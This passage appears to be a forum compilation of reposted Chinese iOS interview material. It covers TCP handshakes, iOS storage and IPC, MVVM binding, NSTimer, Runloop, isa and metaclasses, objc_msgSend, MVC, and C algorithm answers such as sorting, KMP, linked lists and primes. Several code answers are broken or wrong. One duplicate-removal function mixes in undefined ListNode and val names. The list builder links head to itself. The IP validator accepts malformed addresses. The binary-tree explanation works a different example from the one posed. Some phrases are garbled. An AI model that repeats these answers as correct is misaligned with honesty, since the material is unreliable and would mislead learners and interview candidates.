Post请求:后一个请求不会把第一个请求覆盖掉。(所以Post用来增资源)

4. HTTP建立断开连接的时候为什么要 三次握手、四次挥手?
因为当Server端收到Client端的SYN连接请求报文后,可以直接发送SYN+ACK报文。其中ACK报文是用来应答的,SYN报文是用来同步的。
client请求连接,Serve发送确认连接,client回复确认连接 ==>连接建立
但是关闭连接时,当Server端收到FIN报文时,很可能并不会立即关闭SOCKET,所以只能先回复一个ACK报文,告诉Client端,"你发的FIN报文我收到了"。只有等到我Server端所有的报文都发送完了,我才能发送FIN报文,因此不能一起发送。故需要四步握手。
注意:
client两个等待,FIN_Wait 和 Time_WaitTIME_WAIT状态需要经过2MSL(最大报文段生存时间)才能返回到CLOSE状态>。虽然按道理,四个报文都发送完毕,我们可以直接进入CLOSE状态了,但是我们必须假象网络是不可靠的,有可以最后一个ACK丢失。所以TIME_WAIT状态就是用来重发可能丢失的ACK报文。
client请求断开,Server收到断开请求,server发送断开,client回复断开确认 ==>连接断

5. 项目中的数据存储都有哪些,iOS中有哪些数据存储方法,什么时候用?

  • 文件

  • NSUserDefaults

  • 数据库4、KeyChain5、iCloud

文件

  • 沙盒

  • Plist

  • NSKeyedArchiver归档 / NSKeyedUnarchiver解档
    NSUserDefaults

数据库

  • SQLite3

  • FMDB

  • Core Data

6、MVVM如何实现绑定?
MVVM 的实现可以采用KVO进行数据绑定,也可以采用RAC。其实还可以采用block、代理(protocol)实现。
MVVM比起MVC最大的好处就是可以实现自动绑定,将数据绑定在UI组件上,当UI中的值发生变化时,那么它对应的模型中也跟随着发生变化,这就是双向绑定机制,原因在于它在视图层和数据模型层之间实现了一个绑定器,绑定器可以管理两个值,它一直监听组件UI的值,只要发生变化,它将会把值传输过去改变model中的值。绑定器比较灵活,还可以实现单向绑定。
实际开发中的做法:

  • 让Controller拥有View和ViewModel属性,VM拥有Model属性;Controller或者View来接收ViewModel发送的Model改变的通知

  • 用户的操作点击或者Controller的视图生命周期里面让ViewModel去执行请求,请求完成后ViewModel将返回数据模型化并保存,从而更新了Model;Controller和View是属于V部分,即实现V改变M(V绑定M)。如果不需要请求,这直接修改Model就是了。

  • 第2步中的Model的改变,VM是知道的(因为持有关系),只需要Model改变后发一个通知;Controller或View接收到通知后(一般是Controller先接收再赋值给View),根据这个新Model去改变视图就完成了M改变V(M绑定V) 。使用RAC(RactiveCocoa)框架实现绑定可以简单到一句话概括:ViewModel中创建好请求的信号RACSignal, Controller中订阅这个信号,在ViewModel完成请求后订阅者调用sendNext:方法,Controller里面订阅时写的block就收到回调了。

7、block 和 通知的区别
通知:
一对多
Block:

  • 通常拿来OC中的block和swift中的闭包来比较.

  • block注重的是过程

  • block会开辟内存,消耗比较大,delegate则不会

  • block防止循环引用,要用弱引用

Delegate:
代理注重的是过程,是一对一的,对于一个协议就只能用一个代理,更适用于多个回调方法(3个以上),block则适用于1,2个回调时

8、进程间通信方式?线程间通信?

  • URL scheme
    这个是iOS APP通信最常用到的通信方式,APP1通过openURL的方法跳转到APP2,并且在URL中带上想要的参数,有点类似HTTP的get请求那样进行参数传递。这种方式是使用最多的最常见的,使用方法也很简单只需要源APP1在info.plist中配置LSApplicationQueriesSchemes,指定目标App2的scheme;然后再目标App2的info.plist 中配置好URLtypes,表示该App接受何种URL scheme的唤起。

  • Keychain
    iOS 系统的keychain是一个安全的存储容器,它本质上就是一个sqlite数据库,它的位置存储在/private/var/Keychains/keychain-2.db,不过它索八坪村的所有数据都是经过加密的,可以用来为不同的APP保存敏感信息,比如用户名,密码等。iOS系统自己也用keychain来保存VPN凭证和WiFi密码。它是独立于每个APP的沙盒之外的,所以即使APP被删除之后,keychain里面的信息依然存在

10、UIPasteBoard
是剪切板功能,因为iOS 的原生空间UItextView,UItextfield,UIwebView ,我们在使用时如果长按,就回出现复制、剪切、选中、全选、粘贴等功能,这个就是利用系统剪切板功能来实现的。

11、UIDocumentInteractionController
uidocumentinteractioncontroller 主要是用来实现同设备上APP之间的贡献文档,以及文档预览、打印、发邮件和复制等功能。

12、Local socket
原理:一个APP1在本地的端口port1234 进行TCP的bind 和 listen,另外一个APP2在同一个端口port1234发起TCP的connect连接,这样就可以简历正常的TCP连接,进行TCP通信了,然后想传什么数据就可以传什么数据了、

13、AirDrop
通过 Airdrop实现不同设备的APP之间文档和数据的分享

14、UIActivityViewController
iOS SDK 中封装好的类在APP之间发送数据、分享数据和操作数据

15、APP Groups
APP group用于同一个开发团队开发的APP之间,包括APP和extension之间共享同一份读写空间,进行数据共享。同一个团队开发的多个应用之间如果能直接数据共享,大大提高用户体验

  • 线程间通信的体现
    1 .一个线程传递数据给另一个线程
    2 .在一个线程中执行完特定任务后,转到另一个线程继续执行任务复制

  • 代码线程间通信常用的方法
    1、NSThread可以先将自己的当前线程对象注册到某个全局的对象中去,这样相互之间就可以获取对方的线程对象,然后就可以使用下面的方法进行线程间的通信了,由于主线程比较特殊,所以框架直接提供了在主线程执行的方法>    

- (void)performSelectorOnMainThread:(SEL)aSelector withObject:(nullable id)arg waitUntilDone:(BOOL)wait;

- (void)performSelector:(SEL)aSelector onThread:(NSThread *)thr withObject:(nullable id)arg
waitUntilDone:(BOOL)wait NS_AVAILABLE(10_5, 2_0);

     2、 GCD一个线程传递数据给另一个线程,如

{   dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{

NSLog(@"donwload---%@", [NSThread currentThread]);

// 1.子线程下载图片 //耗时操作
NSURL *url = [NSURL URLWithString:@"http://d.jpg"];
NSData *data = [NSData dataWithContentsOfURL:url];
UIImage *image = [UIImage imageWithData:data];

// 2.回到主线程设置图片
dispatch_async(dispatch_get_main_queue(), ^{

NSLog(@"setting---%@ %@", [NSThread currentThread], image);

[self.button setImage:image forState:UIControlStateNormal];
});
});

16、如何检测应用卡顿问题?
NSRunLoop调用方法主要就是在kCFRunLoopBeforeSources和kCFRunLoopBeforeWaiting之间,还有kCFRunLoopAfterWaiting之后,也就是如果我们发现这两个时间内耗时太长,那么就可以判定出此时主线程卡顿。

链接:https://www.jianshu.com/p/7484830d9d74

收起阅读 »

iOS 头条一面 面试题

1、如何高效的切圆角?切圆角共有以下三种方案:cornerRadius + masksToBounds:适用于单个视图或视图不在列表上且量级较小的情况,会导致离屏渲染。CAShapeLayer+UIBezierPath:会导致离屏渲染,性能消耗严重,不推荐使用...
继续阅读 »

1、如何高效的切圆角?
切圆角共有以下三种方案:

  • cornerRadius + masksToBounds:适用于单个视图或视图不在列表上且量级较小的情况,会导致离屏渲染。

  • CAShapeLayer+UIBezierPath:会导致离屏渲染,性能消耗严重,不推荐使用。

  • Core Graphics:不会导致离屏渲染,推荐使用。

2、什么是隐式动画和显式动画?
隐式动画指的是改变属性值而产生的默认的过渡动画(如background、cornerRadius等),不需要初始化任何类,系统自己处理的动画属性;显式动画是指自己创建一个动画对象并附加到layer上,如 CAAnimation、CABasicAnimation、CAKeyframeAnimation。

3、UIView 和 CALayer 的区别?
UIView 是 CALayer 的 delegate,UIView 可以响应事件,而 CALayer 则不能。

4、离屏渲染?
iOS 在不进行预合成的情况下不会直接在屏幕上绘制该图层,这意味着 CPU 和 GPU 必须先准备好屏幕外上下文,然后才能在屏幕上渲染,这会造成更多时间时间和更多的内存的消耗。

5、Objective - C 是否支持方法重载(overloading)?
不支持。方法重载(overloading):允许创建多项名称相同但输入输出类型或个数不同的方法。

// 这两个方法名字是不一样的,虽然都是writeToFile开头
-(void) writeToFile:(NSString *)path fromInt:(int)anInt;
-(void) writeToFile:(NSString *)path fromString:(NSString *)aString;

注:Swift 是支持的。

func testFunc() {}
func testFunc(num: Int) {}

6、KVC 的应用场景及注意事项
KVC(key-Value coding) 键值编码,指iOS开发中,可以允许开发者通过Key名直接访问对象的属性,或者给对象的属性赋值。不需要调用明确的存取方法,这样就可以在运行时动态访问和修改对象的属性,而不是在编译时确定。
它的四个主要方法:

- (nullable id)valueForKey:(NSString *)key;                          //直接通过Key来取值
- (void)setValue:(nullable id)value forKey:(NSString *)key; //通过Key来设值
- (nullable id)valueForKeyPath:(NSString *)keyPath; //通过KeyPath来取值
- (void)setValue:(nullable id)value forKeyPath:(NSString *)keyPath; //通过KeyPath来设值

应用场景:

  • 动态取值和设值

  • 访问和改变私有变量

  • 修改控件的内部属性

注意事项:

  • key 不要传 nil,会导致崩溃,可以通过重写setNilValueForKey:来避免。

  • 传入不存在的 key 也会导致崩溃,可以通过重写valueForUndefinedKey:来避免。

7、如何异步下载多张小图最后合成一张大图?
使用Dispatch Group追加block到Global Group Queue,这些block如果全部执行完毕,就会执行Main Dispatch Queue中的结束处理的block。

dispatch_queue_t queue = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0);
dispatch_group_t group = dispatch_group_create();
dispatch_group_async(group, queue, ^{ /*加载图片1 */ });
dispatch_group_async(group, queue, ^{ /*加载图片2 */ });
dispatch_group_async(group, queue, ^{ /*加载图片3 */ });
dispatch_group_notify(group, dispatch_get_main_queue(), ^{
// 合并图片
});

8、NSTimer 有什么注意事项?在 dealloc 中调用[timer invalidate];会避免循环引用吗?

  • 时间延后。如果 timer 处于耗时较长的 runloop 中,或者当前 runloop 处于不监视 timer 的 mode 时(如 scrollView 滑动时)。它在下次 runloop 才会触发,所以可能会导致比预期时间要晚。

  • 循环引用。target 强引用 timer,timer 强引用 target。

时间延后

使用 dispatch_source_t来提高时间精度。

dispatch_source_t timer = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, queue);
if (timer) {
dispatch_source_set_timer(timer, dispatch_time(DISPATCH_TIME_NOW, interval * NSEC_PER_SEC), interval * NSEC_PER_SEC, (1ull * NSEC_PER_SEC) / 10);
dispatch_source_set_event_handler(timer, block);
dispatch_resume(timer);
}

循环引用

在 dealloc 中调用 [timer invalidate];不会避免循环引用。因为 timer 会对 target 进行强引用,所以在 timer 没被释放之前,根本不会走 target 的 dealloc 方法。
可以通过以下几种方法来避免:

如果 iOS 10 及以上,可以使用nit(timeInterval:repeats:block:)。target 不再强引用 timer。记得在 dealloc 中调用 [timer invalidate];,否则会造成内存泄漏。

timer = Timer(timeInterval: 1.0, repeats: true, block: { [weak self] (timer) in
self?.timerFunc()
})

使用中间件的方式来避免循环引用。

// 定义
@implementation WeakTimerTarget
{
__weak target;
SEL selector;
}

- (void)timerDidFire:(NSTimer *)timer {
if(target) {
[target performSelector:selector withObject:timer];
} else{
[timer invalidate];
}
}
@end

// 使用
WeakTimerTarget *target = [[WeakTimerTarget alloc] initWithTarget:self selector:@selector(tick)];
timer = [NSTimer scheduledTimerWithTimeInterval:30.0 target:target selector:@selector(timerDidFire:) ...];

9、对 property 的理解

@property = ivar + getter + setter;

10、Notification 的注意事项
在哪个线程发送通知,就在哪个线程接受通知。

11、Runloop的理解
一般来讲,一个线程一次只能执行一个任务,执行完成后线程就会退出。如果我们需要一个机制,让线程能随时处理事件但并不退出,通常的代码逻辑 是这样的:

function loop() {
initialize();
do {
var message = get_next_message();
process_message(message);
} while (message != quit);
}

12、对 OC 中 Class 的源码理解?其中 cache 的理解?
Class 的底层用 struct 实现,源码如下:

struct _class_t {
struct _class_t *isa;
struct _class_t *superclass;
void *cache;
void *vtable;
struct _class_ro_t *ro;
};

Cache用于缓存最近使用的方法。一个类只有一部分方法是常用的,每次调用一个方法之后,这个方法就被缓存到cache中,下次调用时 runtime 会先在 cache 中查找,如果 cache 中没有,才会去 methodList 中查找。以此提升性能。

13、项目优化做了哪些方面?

  • 删除无用资源文件及代码

  • 在合适的地方加缓存

  • 耗时长的代码异步执行

14、如何一劳永逸的检测包的裂变(检测包的大小)?
这个不知道,希望了解的朋友可以在评论区指出来。

15、实现一个判断 IP 地址是否合法的方法

func isIPAddress(str: String) -> Bool {
guard !str.isEmpty else { return false }
var isIPAddress = false
let coms = str.components(separatedBy: ".")
for com in coms {
if let intCom = Int(com), intCom >= 0, intCom <= 255 {
isIPAddress = true
} else {
isIPAddress = false
return isIPAddress
}
}
return isIPAddress
}


转自:https://www.jianshu.com/p/62c525efe496

收起阅读 »

iOS底层-isa

Root class (class)其实就是NSObject,NSObject是没有超类的,所以Root class(class)的superclass指向nil。每个Class都有一个isa指针指向唯一的Meta classRoot class(meta)的...
继续阅读 »

分析消息的走态


Root class (class)其实就是NSObject,NSObject是没有超类的,所以Root class(class)的superclass指向nil。

每个Class都有一个isa指针指向唯一的Meta class

Root class(meta)的superclass指向Root class(class),也就是NSObject,形成一个回路。

每个Meta class的isa指针都指向Root class (meta)。

Root class (meta)的isa指针都指向自己

这里我记录一个重要的点:

1.对象方法存在类里面

2.类方法存在元类里面

3.元类的方法存在根元类

这是非常重要的,如果我们没有捋清楚,就无法得知我们的消息接受者!!!

isa 又是什么?

所谓isa指针,在OC中对象的声明是这样的

typedef struct objc_object {
Class isa;
} *id;

对象本身是一个带有指向其类别isa指针的结构体。
当向一个对象发送消息的时候,实际上是通过isa在对象的类别中找到相应的方法。我们知道OC中除了实例方法之外还有类方法,那么类别是否也是个对象呢?

typedef struct objc_class *Class;
struct objc_class {
Class isa;
Class super_class;
/* followed by runtime specific details... */
};

从上面类别的结构看来,类别也是一个对象,它拥有一个指向其父类的指针,和一个isa指针。当一个类别使用类方法时,类别作为一个对象同样会使用isa指针找到类方法的实现。这时,isa指向的就是这个类别的元类。

也就是说

元类是类别的类。
所有的类方法都储存在元类当中。

众所周知Objective-C(以下简称OC)中的消息机制。消息的接收者可以是一个对象,也可以是一个类。那么这两种情况要是统一为一种情况不是更方便吗?苹果当然早就想到了,这也正是元类的用处。苹果统一把消息接收者作为对象。等等,这是说,类也是对象?yes,就是这样。就是说,OC中所有的类都一种对象。由一个类实例化来的对象叫实例对象,这好理解,那么,类作为对象(称之为类对象),又是什么类的对象?当然也容易猜到,就是今天的主题——元类(Metaclass)。现在到给元类下定义的时候了:元类就是类对象所属的类。所以,实例对象是类的实例,类作为对象又是元类的实例。已经说了,OC中所有的类都一种对象,所以元类也是对象,那么元类是什么的实例呢?答曰:根元类,根元类是其自身的实例

摘自作者:Cooc
原贴链接:https://www.jianshu.com/p/2d1fdb76ed57

收起阅读 »

iOS面试必背的算法面试题

1、实现二分查找算法int binarySearchWithoutRecursion(int array[], int low, int high, int target) {while (low <= high) { int mid = l...
继续阅读 »

1、实现二分查找算法

int binarySearchWithoutRecursion(int array[], int low, int high, int target) {

while (low <= high) {
int mid = low + (high - low) / 2;
if (array[mid] > target) {
high = mid - 1;
} else if (array[mid] < target) {
low = mid + 1;
} else {
//找到目标
return mid;
}
}
return -1;
}

递归实现

int binarySearch(const int arr[], int low, int high, int target)
{
int mid = low + (high - low) / 2;

if(low > high) {
return -1;
} else{
if(arr[mid] == target) {
return mid;
} else if(arr[mid] > target) {
return binarySearch(arr, low, mid-1, target);
} else {
return binarySearch(arr, mid+1, high, target);
}
}
}

2、 对以下一组数据进行降序排序(冒泡排序)。“24,17,85,13,9,54,76,45,5,63”

int main(int argc, char *argv[]) {

int array[10] = {24, 17, 85, 13, 9, 54, 76, 45, 5, 63};

int num = sizeof(array)/sizeof(int);

for(int i = 0; i < num - 1; i++) {
int exchanged = 0;
for(int j = 0; j < num - 1 - i; j++) {
if(array[j] < array[j+1]) {
array[j] = array[j]^array[j+1];
array[j+1] = array[j+1]^array[j];
array[j] = array[j]^array[j+1];
exchanged = 1;
}
}
if (exchanged == 0) {
break;
}
}

for(int i = 0; i < num; i++) {
printf("%d ", array[i]);
}
}

3、 对以下一组数据进行升序排序(选择排序)。“86, 37, 56, 29, 92, 73, 15, 63, 30, 8”

void sort(int a[],int n)
{
int i, j, min;

for(i = 0; i < n - 1; i++) {
min = i;
for(j = i + 1; j < n; j++) {
if(a[min] > a[j]) {
min = j;
}
}

if(min != i) {
a[i] = a[i] ^ a[min];
a[min] = a[min] ^ a[i];
a[i] = a[i] ^ a[min];
}
}
}

int main(int argc, const char * argv[]) {

int numArr[10] = {86, 37, 56, 29, 92, 73, 15, 63, 30, 8};

sort(numArr, 10);

for (int i = 0; i < 10; i++) {
printf("%d, ", numArr[i]);
}

return 0;
}

4、 快速排序算法

void sort(int *a, int left, int right) {

if(left >= right) {
return ;
}

int i = left;

int j = right;

int key = a[left];

while (i < j) {
while (i < j && key >= a[j]) {
j--;
}

if (i < j) {
a[i] = a[j];
}


while (i < j && key < a[i]) {
i++;
}

if (i < j) {
a[j] = a[i];
}
}

a[i] = key;

sort(a, left, i-1);

sort(a, i+1, right);

}

5、 归并排序

void merge(int sourceArr[], int tempArr[], int startIndex, int midIndex, int endIndex) {

int i = startIndex;

int j = midIndex + 1;

int k = startIndex;

while (i != midIndex + 1 && j != endIndex + 1) {
if (sourceArr[i] >= sourceArr[j]) {
tempArr[k++] = sourceArr[j++];
} else {
tempArr[k++] = sourceArr[i++];
}
}

while (i != midIndex + 1) {
tempArr[k++] = sourceArr[i++];
}

while (j != endIndex + 1) {
tempArr[k++] = sourceArr[j++];
}

for (i = startIndex; i <= endIndex; i++) {
sourceArr[i] = tempArr[i];
}
}


void sort(int souceArr[], int tempArr[], int startIndex, int endIndex) {

int midIndex;

if (startIndex < endIndex) {

midIndex = (startIndex + endIndex) / 2;

sort(souceArr, tempArr, startIndex, midIndex);

sort(souceArr, tempArr, midIndex + 1, endIndex);

merge(souceArr, tempArr, startIndex, midIndex, endIndex);

}
}

int main(int argc, const char * argv[]) {

int numArr[10] = {86, 37, 56, 29, 92, 73, 15, 63, 30, 8};

int tempArr[10];

sort(numArr, tempArr, 0, 9);

for (int i = 0; i < 10; i++) {
printf("%d, ", numArr[i]);
}

return 0;
}

6、 二叉树的先序遍历为FBACDEGH,中序遍历为:ABDCEFGH,请写出这个二叉树的后序遍历结果。
ADECBHGF
先序+中序遍历还原二叉树:先序遍历是:ABDEGCFH 中序遍历是:DBGEACHF
首先从先序得到第一个为A,就是二叉树的根,回到中序,可以将其分为三部分:
左子树的中序序列DBGE,根A,右子树的中序序列CHF
接着将左子树的序列回到先序可以得到B为根,这样回到左子树的中序再次将左子树分割为三部分:
左子树的左子树D,左子树的根B,左子树的右子树GE
同样地,可以得到右子树的根为C
类似地将右子树分割为根C,右子树的右子树HF,注意其左子树为空
如果只有一个就是叶子不用再进行了,刚才的GE和HF再次这样运作,就可以将二叉树还原了

7、 实现一个字符串“how are you”的逆序输出(编程语言不限)。如给定字符串为“hello world”,输出结果应当为“world hello”,进阶:去掉首尾空格,每个单词间只保留一个空格。

void reverse(char *start, char *end) {
if (start == NULL || end == NULL) {
return;
}

//翻转字符
while (start < end) {
char tmp = *start;
*start = *end;
*end = tmp;

start++;
end--;
}
}

char *reverseStrings(char * s){
if (s == NULL) {
return '\0';
}

//去除多余空格
char *str = s;
//去除首部空格
while(*str != '\0') {
if (*str != ' ') {
s = str;
break;
}
str++;
}
str = s;
int i,j;
i = 0;
j = 0;
//去除中间或尾部空格
while(*(str+i) != '\0') {
if (*(str+j) == ' ') {
if (*(str+j+1) == ' ') {
j++;
continue;
} else if (*(str+j+1) == '\0' ) {
//去掉尾部空格
*(str+i) = '\0';
break;
}
} else if (*(str+j) == '\0' ) {
//去掉尾部空格
*(str+i) = '\0';
break;
}
if (*(str+i) != *(str+j)) {
*(str+i) = *(str+j);
}
i++;
j++;
}

char *start,*end;
start = s;
end = s;

while(*end != '\0') {
end++;
}
end--;

reverse(start,end);

//翻转单词
start = s;
end = s;

while (*start != '\0') {
if (*start == ' ') {
start++;
end++;
} else if (*end == ' ' || *end == '\0'){
end--;
reverse(start,end);
start = ++end;
} else {
end++;
}
}

return s;
}

int main(int argc, const char * argv[]) {

char *str = reverseStrings("have a brilliant future");
while (*str != '\0') {
printf("%c", *str++);
}

return 0;
}

8、字符串匹,输出子串第一次出现的下标,具体要求如下:
给定主串“ababcabc”,模式串“abc”,输出结果为:2
给定主串 “aaaa”,模式串“bb”,输出结果为:-1
当模式串为空串的时候,输出结果应为:0
请实现findStringIndex函数。

int findStringIndex(char * inputs, char * matchs){
if (inputs == NULL || matchs == NULL) {
return -1;
}

if (*matchs == '\0') {
return 0;
}

int i = 0,j = 0;
while (*(inputs + i) != '\0' && *(matchs + j) != '\0') {
if (*(inputs + i) == *(matchs + j)) {
i++;
j++;
} else {
i = i-j+1;
j = 0;
}
}
//模式串到串尾说明匹配成功,返回下标
if (*(matchs + j) == '\0') {
return i-j;
}
return -1;
}

int main(int argc, const char * argv[]) {
printf("index = %d", findStringIndex("ababcabc", "abc"));
return 0;
}

9、字符串匹配进阶,KMP算法:

void generateNextArr(char *s,int *next) {
//初始化
int k = -1,j = 0;
//next[0]初始化成-1
*next = -1;

while (j < strlen(s) - 1) {
if (k == -1 || *(s + j) == *(s + k)) {
j++;
k++;
//s[j]==s[next[k]]必然会失配
if (*(s + j) != *(s+k)) {
*(next + j) = k;
} else {
*(next + j) = *(next + k);
}
} else {
k = *(next + k);
}
}

}

int kmpMatch(char *inputs, char *matchs) {
if (inputs == NULL || matchs == NULL) {
return -1;
}
//模式串为空串时返回0
if (*matchs == '\0') {
return 0;
}
int inputLen = strlen(inputs);
int len = strlen(matchs);

int *next = (int *)malloc(len*sizeof(int));

//生成next数组:失配时模式串下标跳转的位置
generateNextArr(matchs, next);

int i = 0,j = 0;
while (i < inputLen && j < len) {
if (j == -1 || *(inputs + i) == *(matchs + j)) {
i++;
j++;
} else {
j = *(next + j);
}
}
if (*(matchs + j) == '\0') {
return i-j;
}
free(next);
return -1;
}

int main(int argc, const char * argv[]) {
printf("index = %d", kmpMatch("aabcbbabcb", "abc"));
return 0;
}

10、如何实现一个数组每个元素依次向右移动k位,后面的元素依次往前面补。比如: [1, 2, 3, 4, 5] 移动两位变成[4, 5, 1, 2, 3]。
思路:三次反转
后K位反转:12354
前部分反转:32154
整体全部反转:45123

int * reverse1(int *arr, int start, int end) {
while (start < end) {
arr[start] = arr[start] ^ arr[end];
arr[end] = arr[end] ^ arr[start];
arr[start] = arr[start] ^ arr[end];
start++;
end--;
}
return arr;
}
int * moveK(int *arr, int numSize, int k) {
reverse1(arr, numSize - k, numSize-1);
reverse1(arr, 0, numSize-k-1);
reverse1(arr, 0, numSize-1);

return arr;
}

int main(int argc, const char * argv[]) {
int arr[5] = {1,2,3,4,5};
int numSize = sizeof(arr) / sizeof(int);
moveK(arr, numSize, 2);
for (int i = 0; i < numSize; i++) {
printf("%d ",arr[i]);
}
return 0;
}

11、 给定一个字符串,输出本字符串中只出现一次并且最靠前的那个字符的位置?如“abaccddeeef”,字符是b,输出应该是2。

char findChar(char *s){
if (s == NULL) {
return ' ';
}
int hashTable[256];
memset(hashTable, 0, sizeof(hashTable));
char *p = s;
while(*p != '\0') {
hashTable[*p]++;
p++;
}
p = s;

while(*p != '\0') {
if (hashTable[*p] == 1) {
return *p;
}
p++;
}

return ' ';
}

int main(int argc, const char * argv[]) {

char *inputStr = "abaccddeeef";

char ch = findChar(inputStr);

printf("%c \n", ch);

return 0;

}

12、 如何实现链表翻转(链表逆序)?
思路:每次把第二个元素提到最前面来。

#include <stdio.h>

#include <stdlib.h>


typedef struct NODE {

struct NODE *next;

int num;

}node;


node *createLinkList(int length) {

if (length <= 0) {

return NULL;

}

node *head,*p,*q;

int number = 1;

head = (node *)malloc(sizeof(node));

head->num = 1;

head->next = head;

p = q = head;

while (++number <= length) {

p = (node *)malloc(sizeof(node));

p->num = number;

p->next = NULL;

q->next = p;

q = p;

}

return head;
}


void printLinkList(node *head) {

if (head == NULL) {

return;

}

node *p = head;

while (p) {

printf("%d ", p->num);

p = p -> next;

}

printf("\n");

}


node *reverseFunc1(node *head) {

if (head == NULL) {

return head;


}


node *p,*q;

p = head;

q = NULL;

while (p) {

node *pNext = p -> next;

p -> next = q;

q = p;

p = pNext;

}

return q;

}


int main(int argc, const char * argv[]) {

node *head = createLinkList(7);

if (head) {

printLinkList(head);

node *reHead = reverseFunc1(head);

printLinkList(reHead);

free(reHead);

}

free(head);

return 0;

}

13、删除链表中的重复元素,每个重复元素需要出现一次,如给定链表 1->2->2->3->4->5->5,输出结果应当为 1->2->3->4->5。请实现下面的deleteRepeatElements函数:

typedef struct NODE {

struct NODE *next;

int num;

} node;

node *deleteRepeatElements(node *head) {
if (head == NULL) {
return head;
}

struct ListNode* pNode = head;

while (pNode && pNode->next) {
if (pNode->val == pNode->next->val) {
struct ListNode *tempNode = pNode->next;
pNode->next = pNode->next->next;
free(tempNode);
} else {
pNode=pNode->next;
}
}
return head;
}

14、删除链表中重复的元素,只保留不重复的结点。如:1->1->2->3->4->4->5,输出结果:2->3->5,请实现下面的deleteRepeatElements函数。

typedef struct NODE {

struct NODE *next;

int num;

} node;

node *deleteRepeatElements(node *head) {
if (head == NULL) {
return head;
}
//头结点有可能会被删除,先创建一个头结点
node *pHead = (node *)malloc(sizeof(node));
pHead->next = head;
node *current = pHead;

while(current->next && current->next->next) {
if (current->next->val == current->next->next->val) {
node *tempNode = current->next;
while(tempNode && tempNode->next && tempNode->val == tempNode->next->val) {
tempNode = tempNode->next;
}
current->next = tempNode->next;
} else {
current = current->next;
}
}
return pHead->next;
}

15、 打印2-100之间的素数。
判断素数思路:通过分析我们可知5以上的自然数都可以用6x-1,6x,6x+1,6x+2,6x+3,6x+4,6x+5来代替,又因6x,6x+2=2(3x+1),6x+3=3(2x+1),6x+4=2*(3x+2)以上都不可能是素数,所以只需要判断6x-1,6x+1,6x+5(6x两侧的数)即可。

int main(int argc, const char * argv[]) {

for (int i = 2; i < 100; i++) {
int r = isPrime(i);
if (r == 1) {
printf("%ld ", i);
}
}

return 0;
}


int isPrime(int n)
{

if(n == 2 || n == 3) {
return 1;
}

if(n % 6 != 1 && n % 6 != 5) {
return 0;
}

for(int i = 5; (i * i) <= n; i += 6) {
if(n % i == 0 || n % (i + 2) == 0) {
return 0;
}
}

return 1;
}

16、计算100以内素数的个数

int countPrime(int n) {
int i,j,count = 0;
//开辟空间
int *prime = (int *)malloc(sizeof(int) * n);
//初始默认所有数为素数
memset(prime, 1, sizeof(int) * n);
for (i = 2; i < n; i++) {
if (prime[i]) {
count++;
for (j = i + i; j < n; j += i) {
//标记不是素数
prime[j] = 0;
}
}
}
return count;
}

17、 求两个整数的最大公约数。

int gcd(int a, int b) {

while (a != b) {
if (a > b) {
a = a - b;
} else {
b = b - a;
}
}
return a;
}

转自:https://www.jianshu.com/p/746495327da6

收起阅读 »

iOS底层-方法的本质

通过clang -rewrite-objc main.m -o mian.cpp编译的对象调用方法底层int main(int argc, const char * argv[]) { /* @autoreleasepool */ { __AtAutor...
继续阅读 »

通过clang -rewrite-objc main.m -o mian.cpp编译的对象调用方法底层

int main(int argc, const char * argv[]) {
/* @autoreleasepool */ { __AtAutoreleasePool __autoreleasepool;
LGPerson *p = ((LGPerson *(*)(id, SEL))(void *)objc_msgSend)((id)objc_getClass("LGPerson"), sel_registerName("new"));
((void (*)(id, SEL))(void *)objc_msgSend)((id)p, sel_registerName("run"));
}
return 0;
}

可以看出在我们进行LGPerson初始化的时候,我们都知道会调用alloc,init.我这里为了简单只调用'new'.但是底层不是像我们利用[]调用的,而是调用了一个函数objc_msgSend这就是我们消息发送的方法,因为考虑的参数我们进行了前面的强转.如果有一定C功底就知道objc_msgSend就是发送消息,我们在断点调试ViewDidLoad的时候,发现能打印self,_cmd这就是我们的消息底层默认的两个参数id,SEL

一个是消息接受者

一个是消息编号

我们还可以在objc_msgSend末尾继续加参数,但是考虑到编译参数问题,我们需要关闭严格核查

我通过SEL能找到函数实现,底层是依赖一个IMP的函数指针

就会找我们具体的函数实现

我们模拟是不是也可不断发送消息,模拟四种消息发送:

LGStudent *s = [LGStudent new];
[s run];
// 方法调用底层编译
// 方法的本质: 消息 : 消息接受者 消息编号 ....参数 (消息体)
objc_msgSend(s, sel_registerName("run"));
// 类方法编译底层
[LGStudent walk];
objc_msgSend(objc_getClass("LGStudent"), sel_registerName("walk"));

// 向父类发消息(对象方法)
struct objc_super mySuper;
mySuper.receiver = s;
mySuper.super_class = class_getSuperclass([s class]);
objc_msgSendSuper(&mySuper, @selector(run));

//向父类发消息(类方法)
struct objc_super myClassSuper;
myClassSuper.receiver = [s class];
myClassSuper.super_class = class_getSuperclass(object_getClass([s class]));
objc_msgSendSuper(&myClassSuper, sel_registerName("walk"));




收起阅读 »

移动iOS架构起航

架构就如人体骨架,肌肉和血液还有其他就顺着骨架填充!MVC架构思想MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,一种软件设计典范,用一种业务逻辑、数据、界面显示分离的方法组...
继续阅读 »
架构就如人体骨架,肌肉和血液还有其他就顺着骨架填充!


MVC架构思想

MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,一种软件设计典范,用一种业务逻辑、数据、界面显示分离的方法组织代码,将业务逻辑聚集到一个部件里面,在改进和个性化定制界面及用户交互的同时,不需要重新编写业务逻辑。MVC被独特的发展起来用于映射传统的输入、处理和输出功能在一个逻辑的图形化用户界面的结构中。

组成MVC的三个模式分别是组合模式、策咯模式、观察者模式,MVC在软件开发中发挥的威力,最终离不开这三个模式的默契配合

View层,单独实现了组合模式

Model层和View层,实现了观察者模式

View层和Controller层,实现了策咯模式

MVC要实现的目标是将软件用户界面和业务逻辑分离以使代码 可扩展性、可复用性、可维护性、灵活性加强.


ViewController过重

通过上面的图大家也看到了非常完美,但是用起来真有问题!

但是我们实际开发经常会变形:比如我们ViewController会非常之重,动不动几百行,几千行代码!那么是一些什么东西在里面?

繁重的网络层

复杂的UI层

难受的代理

啰嗦的业务逻辑

还有一些其他功能


控制器(controller)的作用就是这么简单, 用来将不同的View和不同的Model组织在一起,顺便替双方传递消息,仅此而已。

这里建议:

繁重的网络层 封装到我们业务逻辑管理者比如:present viewModel

复杂的UI层就应该是UI的事,直接剥离出VC


